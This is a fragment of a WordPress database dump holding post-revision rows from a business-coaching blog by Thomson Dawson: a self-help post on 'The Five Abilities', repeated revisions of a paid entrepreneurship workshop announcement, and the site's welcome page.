(2421, 2, '2013-08-08 21:00:53', '2013-08-09 04:00:53', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my life, I thought I would share this knowledge with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-17', '', '', '2013-08-08 21:00:53', '2013-08-09 04:00:53', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-17/', 0, 'revision', '', 0),
(2423, 2, '2013-08-09 15:59:47', '2013-08-09 22:59:47', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive\r\nAdvantage for Early-Stage Entrepreneurs\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h3><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 15:59:47', '2013-08-09 22:59:47', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-139/', 0, 'revision', '', 0),
(2425, 2, '2013-08-09 16:04:13', '2013-08-09 23:04:13', '<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive\r\nAdvantage for Early-Stage Entrepreneurs\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:04:13', '2013-08-09 23:04:13', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-141/', 0, 'revision', '', 0),
(2427, 2, '2013-08-09 16:10:17', '2013-08-09 23:10:17', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive\r\nAdvantage for Entrepreneurs and\r\nSolo Professionals\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:10:17', '2013-08-09 23:10:17', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-143/', 0, 'revision', '', 0),
(2426, 2, '2013-08-09 16:08:18', '2013-08-09 23:08:18', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive\r\nAdvantage for Early-Stage Entrepreneurs\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:08:18', '2013-08-09 23:08:18', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-142/', 0, 'revision', '', 0),
(2428, 2, '2013-08-09 16:11:36', '2013-08-09 23:11:36', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive Advantage\r\nfor Entrepreneurs and Solo Professionals\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:11:36', '2013-08-09 23:11:36', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-144/', 0, 'revision', '', 0),
(2429, 2, '2013-08-08 11:49:41', '2013-08-08 18:49:41', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an  entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success from nearly three decades as a highly successful creative entrepreneur.\r\n\r\nIn my professional career as a marketing strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs! We are a tribe of people at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-08 11:49:41', '2013-08-08 18:49:41', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-158/', 0, 'revision', '', 0);
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(2430, 2, '2013-08-10 16:40:52', '2013-08-10 23:40:52', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an  entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. The most important lesson I have learned in my own entreprenuerial journey is to have more, you must first be more.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m still learning and growing to bring more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more 